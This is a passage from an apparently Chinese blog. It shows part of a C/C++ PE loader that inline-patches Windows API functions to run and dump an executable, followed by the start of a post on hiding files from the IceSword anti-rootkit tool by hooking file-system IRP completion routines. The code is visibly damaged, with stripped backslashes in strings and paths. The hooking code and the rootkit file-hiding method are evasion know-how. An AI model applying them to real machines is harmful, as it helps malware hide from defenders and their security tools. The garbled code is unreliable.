    DWORD pNewFunc = (DWORD)GetModuleFileNameW - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push nSize
    __asm push lpFilename
    __asm push hModule
    __asm call pNewFunc
    __asm mov realdword, eax
    printf("realdword:%d, lpFilename:%Sn", realdword, lpFilename);
    printf("out MyGetModuleFileNameWn");
    return realdword;
}

HMODULE WINAPI MyGetModuleHandleA(LPCTSTR lpModuleName)
{
    DumpFile("c:\ps.exe");
    printf("in MyGetModuleHandleAn");
    char *lpm = new char[MAX_PATH];
    memset(lpm, 0x0, MAX_PATH);
    HMODULE realhmod = NULL;
    printf("in MyGetModuleHandleA:%sn", lpModuleName);
    if(lpModuleName == NULL)
        strcpy(lpm, PEFile);
    else
        strcpy(lpm, lpModuleName);
    DWORD pNewFunc = (DWORD)GetModuleHandleA - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push lpm
    __asm call pNewFunc
    __asm mov realhmod, eax
    delete []lpm;
//    if(realhmod == OldKernel32Address)
//        realhmod = (HMODULE)lpNewBaseOfDll;
    printf("realhmod:0x%.8xn", realhmod);
    printf("out MyGetModuleHandleAn");
    return realhmod;
}

HMODULE WINAPI MyGetModuleHandleW(LPCWSTR lpModuleName)
{
    printf("in MyGetModuleHandleWn");
    WCHAR *lpm = new WCHAR[MAX_PATH];
    memset(lpm, 0x0, sizeof(WCHAR) * MAX_PATH);
    HMODULE realhmod = NULL;
    printf("in MyGetModuleHandleW:%Sn", lpModuleName);
    if(lpModuleName == NULL)
    {
        swprintf(lpm, L"%s", PEFile);
        //wcscpy(lpm, L"c:\a.exe");
    }
    else
        wcscpy(lpm, lpModuleName);
    DWORD pNewFunc = (DWORD)GetModuleHandleW - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push lpm
    __asm call pNewFunc
    __asm mov realhmod, eax
    delete []lpm;
//    if(realhmod == OldKernel32Address)
//        realhmod = (HMODULE)lpNewBaseOfDll;
    printf("realhmod:0x%.8xn", realhmod);
    printf("out MyGetModuleHandleWn");
    return realhmod;
}

HGLOBAL WINAPI MyLoadResource(HMODULE hModule, HRSRC hResInfo)
{
    printf("in MyLoadResourcen");
    HGLOBAL glb = NULL;
    printf("In MyLoadResourcen");
    if(!hModule)
        hModule = hmod;
    DWORD pNewFunc = (DWORD)LoadResource - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push hResInfo
    __asm push hModule
    __asm call pNewFunc
    __asm mov glb, eax
    printf("out MyLoadResourcen");
    return glb;//LoadResource(hModule, hResInfo);
}

HRSRC WINAPI MyFindResourceA(HMODULE hModule, LPCSTR lpName, LPCSTR lpType)
{
    printf("in MyFindResourceAn");
    HRSRC src;
    if(!hModule)
        hModule = hmod;
    DWORD pNewFunc = (DWORD)FindResourceA - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push lpType
    __asm push lpName
    __asm push hModule
    __asm call pNewFunc
    __asm mov src, eax
    printf("MyFindResourceAn");
    printf("out MyFindResourceAn");
    return src;
}

HRSRC WINAPI MyFindResourceW(HMODULE hModule, LPCWSTR lpName, LPCWSTR lpType)
{
    printf("in MyFindResourceWn");
    HRSRC src;
    if(!hModule)
        hModule = hmod;
    DWORD pNewFunc = (DWORD)FindResourceW - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push lpType
    __asm push lpName
    __asm push hModule
    __asm call pNewFunc
    __asm mov src, eax
    printf("MyFindResourceWn");
    printf("out MyFindResourceWn");
    return src;
}

HRSRC WINAPI MyFindResourceExA(HMODULE hModule, LPCSTR lpType, LPCSTR lpName, WORD wLanguage)
{
    printf("in MyFindResourceExAn");
    HRSRC src;
    if(!hModule)
        hModule = hmod;
    DWORD pNewFunc = (DWORD)FindResourceExA - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push wLanguage
    __asm push lpName
    __asm push lpType
    __asm push hModule
    __asm call pNewFunc
    __asm mov src, eax
    printf("MyFindResourceExAn");
    printf("out MyFindResourceExAn");
    return src;
}

HRSRC WINAPI MyFindResourceExW(HMODULE hModule, LPCWSTR lpType, LPCWSTR lpName, WORD wLanguage)
{
    printf("in MyFindResourceExWn");
    HRSRC src = NULL;
    if(!hModule)
        hModule = hmod;
    DWORD pNewFunc = (DWORD)FindResourceExW - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push wLanguage
    __asm push lpName
    __asm push lpType
    __asm push hModule
    __asm call pNewFunc
    __asm mov src, eax
    //printf("MyFindResourceExWn");
    printf("out MyFindResourceExWn");
    return src;
}

VOID WINAPI MyExitProcess(UINT uExitCode)
{
    printf("ExitProcessn");
    //DumpFile("c:\ps.exe");
    DWORD pNewFunc = (DWORD)ExitProcess - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push uExitCode
    __asm call pNewFunc
    return;
}

BOOL WINAPI MyTerminateProcess(HANDLE hProcess, UINT uExitCode)
{
    printf("TerminateProcessn");
    //DumpFile("c:\ps.exe");
    DWORD pNewFunc = (DWORD)TerminateProcess - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push uExitCode
    __asm push hProcess
    __asm call pNewFunc
    return true;
}

DWORD WINAPI MyFormatMessageA(DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list *Arguments)
{
    printf("FormatMessageA:0x%.8x, %dn", dwFlags, nSize);
    DWORD retdword = 0;
    if(!lpSource)
        lpSource = hmod;
    if(dwFlags == 0x1900)
        dwFlags = FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_FROM_HMODULE;
    DWORD pNewFunc = (DWORD)FormatMessageA - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push Arguments
    __asm push nSize
    __asm push lpBuffer
    __asm push dwLanguageId
    __asm push lpSource
    __asm push dwFlags
    __asm call pNewFunc
    __asm mov retdword, eax
    printf("msg:%sn", lpBuffer);
    return retdword;
}

HICON WINAPI MyLoadIconA(HINSTANCE hInstance, LPCSTR lpIconName)
{
    HICON reticon = NULL;
    DWORD pNewFunc = (DWORD)LoadIconA - (DWORD)mi1.lpBaseOfDll + (DWORD)lpNewBaseOfDll1;
    if(hInstance == NULL)
        hInstance = hmod;
    __asm push lpIconName
    __asm push hInstance
    __asm call pNewFunc
    __asm mov reticon, eax
    return reticon;
}

HANDLE WINAPI MyLoadImageA(HINSTANCE hinst, LPCTSTR lpszName, UINT uType, int cxDesired, int cyDesired, UINT fuLoad)
{
    HANDLE rethand = NULL;
    DWORD pNewFunc = (DWORD)LoadImageA - (DWORD)mi1.lpBaseOfDll + (DWORD)lpNewBaseOfDll1;
    if(hinst == NULL)
        hinst = hmod;
    __asm push fuLoad
    __asm push cyDesired
    __asm push cxDesired
    __asm push uType
    __asm push lpszName
    __asm push hinst
    __asm call pNewFunc
    __asm mov rethand, eax
    return rethand;
}

HANDLE WINAPI MyLoadImageW(HINSTANCE hinst, LPCWSTR lpszName, UINT uType, int cxDesired, int cyDesired, UINT fuLoad)
{
    HANDLE rethand = NULL;
    DWORD pNewFunc = (DWORD)LoadImageW - (DWORD)mi1.lpBaseOfDll + (DWORD)lpNewBaseOfDll1;
    if(hinst == NULL)
        hinst = hmod;
    __asm push fuLoad
    __asm push cyDesired
    __asm push cxDesired
    __asm push uType
    __asm push lpszName
    __asm push hinst
    __asm call pNewFunc
    __asm mov rethand, eax
    return rethand;
}

HICON WINAPI MyLoadIconW(HINSTANCE hInstance, LPCWSTR lpIconName)
{
    HICON reticon = NULL;
    DWORD pNewFunc = (DWORD)LoadIconW - (DWORD)mi1.lpBaseOfDll + (DWORD)lpNewBaseOfDll1;
    if(hInstance == NULL)
        hInstance = hmod;
    __asm push lpIconName
    __asm push hInstance
    __asm call pNewFunc
    __asm mov reticon, eax
    return reticon;
}

DWORD WINAPI MyGetVersion()
{
    printf("================================GetVersion=====================================n");
    DWORD retdword = 0;
    //exit(1);
    DumpFile("c:\ps.exe");
    DWORD pNewFunc = (DWORD)GetVersion - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm call pNewFunc
    __asm mov retdword, eax
    return retdword;
}

DWORD WINAPI MyGetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
    printf("================================GetProcAddress=================================n");
    DWORD retdword = 0;
    if(lpProcName)
        printf("GetProcAddress:%sn", lpProcName);
//    else
//        printf("GetProcAddress:NULLn");
    //exit(1);
    DWORD pNewFunc = (DWORD)GetProcAddress - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push lpProcName
    __asm push hModule
    __asm call pNewFunc
    __asm mov retdword, eax
    printf("GetProcAddress:%s,0x%.8xn", lpProcName, retdword);
    return retdword;
}

DWORD WINAPI MyFormatMessageW(DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPWSTR lpBuffer, DWORD nSize, va_list *Arguments)
{
    printf("FormatMessageW:0x%.8x, %dn", dwFlags, nSize);
    if(!lpSource)
        lpSource = hmod;
    DWORD retdword = 0;
    if(dwFlags == 0x1900)
        dwFlags = FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_FROM_HMODULE;
    DWORD pNewFunc = (DWORD)FormatMessageW - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push Arguments
    __asm push nSize
    __asm push lpBuffer
    __asm push dwLanguageId
    __asm push lpSource
    __asm push dwFlags
    __asm call pNewFunc
    __asm mov retdword, eax
    printf("msg:%Sn", lpBuffer);
    return retdword;
}

typedef struct{BYTE mov_eax;LPVOID address;WORD jump_eax;}ASMJUMP, *PASMJUMP;//0xB8//0xE0FF

void WINAPI HookAPI(int s)
{
    OldKernel32Address = GetModuleHandle("Kernel32.dll");
    OldUser32Address = GetModuleHandle("User32.dll");
    char *pGetVersion = (char *)GetProcAddress(OldKernel32Address, "GetVersion");
    char *pLoadIconA = (char *)GetProcAddress(OldUser32Address, "LoadIconA");
    char *pLoadIconW = (char *)GetProcAddress(OldUser32Address, "LoadIconW");
    char *pLoadImageA = (char *)GetProcAddress(OldUser32Address, "LoadImageA");
    char *pLoadImageW = (char *)GetProcAddress(OldUser32Address, "LoadImageW");
    char *pFormatMessageA = (char *)GetProcAddress(OldKernel32Address, "FormatMessageA");
    char *pFormatMessageW = (char *)GetProcAddress(OldKernel32Address, "FormatMessageW");
    char *pLoadResource = (char *)GetProcAddress(OldKernel32Address, "LoadResource");
    char *pGetModuleHandleW = (char *)GetProcAddress(OldKernel32Address, "GetModuleHandleW");
    char *pGetModuleHandleA = (char *)GetProcAddress(OldKernel32Address, "GetModuleHandleA");
    char *pExitProcess = (char *)GetProcAddress(OldKernel32Address, "ExitProcess");
    char *pTerminateProcess = (char *)GetProcAddress(OldKernel32Address, "TerminateProcess");
    char *pGetModuleHandleExA = (char *)GetProcAddress(OldKernel32Address, "GetModuleHandleExA");
    char *pGetModuleHandleExW = (char *)GetProcAddress(OldKernel32Address, "GetModuleHandleExW");
    addr_GetModuleHandleExA = pGetModuleHandleExA;
    addr_GetModuleHandleExW = pGetModuleHandleExW;
    char *pGetModuleFileNameA = (char *)GetProcAddress(OldKernel32Address, "GetModuleFileNameA");
    char *pGetModuleFileNameW = (char *)GetProcAddress(OldKernel32Address, "GetModuleFileNameW");
    char *pFindResourceA = (char *)GetProcAddress(OldKernel32Address, "FindResourceA");
    char *pFindResourceW = (char *)GetProcAddress(OldKernel32Address, "FindResourceW");
    char *pFindResourceExA = (char *)GetProcAddress(OldKernel32Address, "FindResourceExA");
    char *pFindResourceExW = (char *)GetProcAddress(OldKernel32Address, "FindResourceExW");
    if(!GetModuleInformation(GetCurrentProcess(), OldKernel32Address, &mi, sizeof MODULEINFO)) return;
    if(!GetModuleInformation(GetCurrentProcess(), OldUser32Address, &mi1, sizeof MODULEINFO)) return;
    MEMORY_BASIC_INFORMATION mbi;
    ASMJUMP    jmpcode;
    jmpcode.mov_eax = (BYTE)0xB8;
    jmpcode.jump_eax = (WORD)0xE0FF;
    DWORD dw;
    lpNewBaseOfDll = new char[mi.SizeOfImage];
    if(!lpNewBaseOfDll) return;
    lpNewBaseOfDll1 = new char[mi1.SizeOfImage];
    if(!lpNewBaseOfDll) return;
        memcpy(lpNewBaseOfDll, mi.lpBaseOfDll, mi.SizeOfImage);
    if(!lpNewBaseOfDll1) return;
        memcpy(lpNewBaseOfDll1, mi1.lpBaseOfDll, mi1.SizeOfImage);
    {
        if(!VirtualQuery((void *)pGetVersion, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyGetVersion;
        memcpy((void *)pGetVersion, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pLoadImageA, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyLoadImageA;
        memcpy((void *)pLoadImageA, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pLoadImageW, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyLoadImageW;
        memcpy((void *)pLoadImageW, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pLoadIconA, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyLoadIconA;
        memcpy((void *)pLoadIconA, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pLoadIconW, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyLoadIconW;
        memcpy((void *)pLoadIconW, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pFormatMessageW, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyFormatMessageW;
        memcpy((void *)pFormatMessageW, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pFormatMessageA, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyFormatMessageA;
        memcpy((void *)pFormatMessageA, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pGetModuleHandleExA, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyGetModuleHandleExA;
        memcpy((void *)pGetModuleHandleExA, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pGetModuleHandleExW, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyGetModuleHandleExW;
        memcpy((void *)pGetModuleHandleExW, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pGetModuleFileNameA, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyGetModuleFileNameA;
        memcpy((void *)pGetModuleFileNameA, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pGetModuleFileNameW, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyGetModuleFileNameW;
        memcpy((void *)pGetModuleFileNameW, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pLoadResource, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyLoadResource;
        memcpy((void *)pLoadResource, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pFindResourceA, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyFindResourceA;
        memcpy((void *)pFindResourceA, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pFindResourceW, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyFindResourceW;
        memcpy((void *)pFindResourceW, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pFindResourceExA, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyFindResourceExA;
        memcpy((void *)pFindResourceExA, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pFindResourceExW, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyFindResourceExW;
        memcpy((void *)pFindResourceExW, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pGetModuleHandleW, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyGetModuleHandleW;
        memcpy((void *)pGetModuleHandleW, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pGetModuleHandleA, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyGetModuleHandleA;
        memcpy((void *)pGetModuleHandleA, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pExitProcess, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyExitProcess;
        memcpy((void *)pExitProcess, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)pTerminateProcess, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyTerminateProcess;
        memcpy((void *)pTerminateProcess, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    {
        if(!VirtualQuery((void *)GetProcAddress, &mbi, sizeof MEMORY_BASIC_INFORMATION)) return;
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dw)) return;
        jmpcode.address = (void *)MyGetProcAddress;
        if(s == 1)
            memcpy((void *)GetProcAddress, (unsigned char *)&jmpcode, sizeof ASMJUMP);
        if(!VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READ, &dw)) return;
    }
    return;
}

void main(int argc, char **argv)
{
    char *Buffer = NULL;
    if(argc >= 2)
        strcpy(PEFile, argv[1]);
    else
        strcpy(PEFile, "C:\Downloads\VMUnpacker\VMUnpacker\VMUnpacker.exe");
    //    strcpy(PEFile, "c:\windows\system32\cmd.exe");
    //    strcpy(PEFile, "D:\Program Files\Microsoft Office\Office10\excel.EXE");
    char lpBuffer[MAX_PATH] = {0};
    char *p = NULL;
    GetFullPathName(PEFile, MAX_PATH, lpBuffer, &p);
    char *s = lpBuffer + (p - lpBuffer);
    s[0] = '';
    printf("path:%sn", lpBuffer);
    SetCurrentDirectory(lpBuffer);
    unsigned long len = LoadPEFile(PEFile, &Buffer);
    IMAGE_DOS_HEADER *dos_header = (IMAGE_DOS_HEADER *)Buffer;
    IMAGE_NT_HEADERS *pINH = (IMAGE_NT_HEADERS *)((DWORD)dos_header + dos_header->e_lfanew);
//    long PESignOffset = *(long *)(Buffer + 0x3c);
//    IMAGE_NT_HEADERS *pINH = (IMAGE_NT_HEADERS *)(Buffer + PESignOffset);
    pINH->FileHeader.Characteristics |= IMAGE_FILE_DLL;
    pINH->FileHeader.Characteristics |= IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP;
    OEP = pINH->OptionalHeader.AddressOfEntryPoint;
    printf("OldEntryPoint:0x%.8xn", pINH->OptionalHeader.AddressOfEntryPoint);
    pINH->OptionalHeader.AddressOfEntryPoint = 0x0;
    printf("pINH->OptionalHeader.AddressOfEntryPoint:0x%.8xn", pINH->OptionalHeader.AddressOfEntryPoint);
    printf("len:%dn", len);
/*    unsigned long HeaderSum = 0;
    unsigned long CheckSum = 0;
    pINH->OptionalHeader.CheckSum = 0;
    CheckSumMappedFile(Buffer, len, &HeaderSum, &CheckSum);
    pINH->OptionalHeader.CheckSum = CheckSum;
*/    strcat(PEFile, ".new.exe");
    SaveAs(PEFile, Buffer, len);
    delete []Buffer;
    Buffer = NULL;
    printf("Loadn");
    hmod = LoadLibrary(PEFile);
    if (!hmod)
        printf("LoadLibrary Error %.8Xn", GetLastError());
    else
    {
        printf("base address:0x%.8xn", hmod);
        MODULEINFO dumpinfo;
        DWORD dw = 0;
        GetModuleInformation(GetCurrentProcess(), hmod, &dumpinfo, sizeof MODULEINFO);
        IMAGE_DOS_HEADER *dos_header = (IMAGE_DOS_HEADER *)hmod;
        IMAGE_NT_HEADERS *pINH = (IMAGE_NT_HEADERS *)((DWORD)dos_header + dos_header->e_lfanew);
        if(!VirtualProtect((char *)pINH, sizeof(IMAGE_NT_HEADERS), PAGE_EXECUTE_READWRITE, &dw)) return;
        pINH->OptionalHeader.AddressOfEntryPoint = OEP;
        printf("pINH->FileHeader.Characteristics:0x%.8xn", pINH->FileHeader.Characteristics);
        pINH->FileHeader.Characteristics &= ~IMAGE_FILE_DLL;
        printf("pINH->FileHeader.Characteristics:0x%.8xn", pINH->FileHeader.Characteristics);
        if(!VirtualProtect((char *)pINH, sizeof(IMAGE_NT_HEADERS), PAGE_EXECUTE_READ, &dw)) return;
        printf("Calln");
        DWORD id = 0;
        if(argc == 3)
            HookAPI(1);
        else
            HookAPI(0);
        OEP += (DWORD)hmod;
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)OEP, 0, 0, &id);
        printf("OK!n");
        HANDLE hOut;
        COORD Position;
        DWORD Written;
        char string[80] = {0};
        WORD c = FOREGROUND_RED | FOREGROUND_INTENSITY;
        Position.X = 0;
        Position.Y = 0;
        while(1)
        {
            Position.X = 0;
            hOut = GetStdHandle(STD_OUTPUT_HANDLE);
            SYSTEMTIME t;
            GetLocalTime(&t);
            
            sprintf(string, "PELoader ver 1.0 PID:%d HookGetProcAddress:%d Time:%d/%d/%d %d:%d:%d:%d    ", GetCurrentProcessId(), argc == 3?1:0, t.wMonth, t.wDay, t.wYear, t.wHour, t.wMinute, t.wSecond, t.wMilliseconds);
            SetConsoleTextAttribute(hOut, FOREGROUND_GREEN);
            WriteConsoleOutputCharacter(hOut, string, strlen(string), Position, &Written);
            while(Position.X <= strlen(string))
            {
                WriteConsoleOutputAttribute(hOut, &c, 1, Position, &Written);
                Position.X++;
            }
            Sleep(50);
        }
    }
    delete []lpNewBaseOfDll;
    delete []lpNewBaseOfDll1;
    FreeLibrary(hmod);
    DeleteFile(PEFile);
}

Posted in 未分类 | Leave a comment

突破icesword实现文件隐藏

创建时间:2007-07-06
文章属性:原创
文章提交:rhett (rhettxie_at_gmail.com)

突破icesword实现文件隐藏


  估计想在icesword下隐藏文件的人有很多吧。今天我介绍一种方法。

  先介绍一下icesword是如何查找文件的。基本原理就是自己构造一个irp出来,然后直接IoCallDriver发送到fsd。但是icesword做了更多的工作。它直接读取ntfs.sys 和fastfat.sys,从pe文件格式的角度上计算出正确的fsd的dispatch routine地址,然后再call。而且icesword自己实现了一个IoCallDriver。所以一般的fsd hook是对付不了icesword的。

  前段时间cardmagic公布了一种方法,hook IofCompleteRequest。然后在UserBuffer里处理要隐藏的文件。到目前位置,api hook 基本上走到尽头了。那么如果要处理 call dispatch routine 后的buffer还可以在哪里下手呢?

  写过驱动的人容易知道,一般的filter类驱动在往下层驱动传递irp的时候会设置一个完成函数,就是CompletionRoutine。IofCallDriver 调用下层驱动,下层驱动处理完成之后CompletionRoutine 就会被调用。那么我们能不能hook掉查询文件的irp 的完成函数呢?调试的时候发现当 MajorFunction==IRP_MJ_DIRECTORY_CONTROL,  MinorFunction==IRP_MN_QUERY_DIRECTORY 的时候IrpStackLocation中的CompletionRoutine的是空的。如何解决呢?先总结一下,现在面临两个问题:

1 如何得到icesword下发的irp ?
2 如何为捕获到的irp设置一个callback的完成函数?

下面我来逐个突破:
  icesword毕竟还是基于os开发的东西,所以它不可能独立于os去做所有的事。就是说\FileSystem\ntfs 的IRP_MJ_DIRECTORY_CONTROL的处理函数它一定会被调用。既然我们不能hook这个dispatch routine,那么我们是否可以hook 这个routine中调用过的函数,然后判断函数返回地址,和dispatch routine的地址做比较以此来判断是否在查询文件。
  先看ntfs.sys的开头部分代码:
INIT:0009527E                 mov     dword ptr [esi+7Ch], offset _NtfsFsdLockControl@8 ; NtfsFsdLockControl(x,x)
INIT:00095285                 mov     dword ptr [esi+68h], offset _NtfsFsdDirectoryControl@8 ; NtfsFsdDirectoryControl(x,x)
INIT:0009528C                 mov     dword ptr [esi+50h], offset _NtfsFsdSetInformation@8 ; NtfsFsdSetInformation(x,x)
INIT:00095293                 mov     dword ptr [esi+38h], offset _NtfsFsdCreate@8 ; NtfsFsdCreate(x,x)
INIT:0009529A                 mov     dword ptr [esi+40h], offset _NtfsFsdClose@8 ; NtfsFsdClose(x,x)
INIT:000952A1                 mov     dword ptr [esi+44h], offset _NtfsFsdRead@8 ; NtfsFsdRead(x,x)
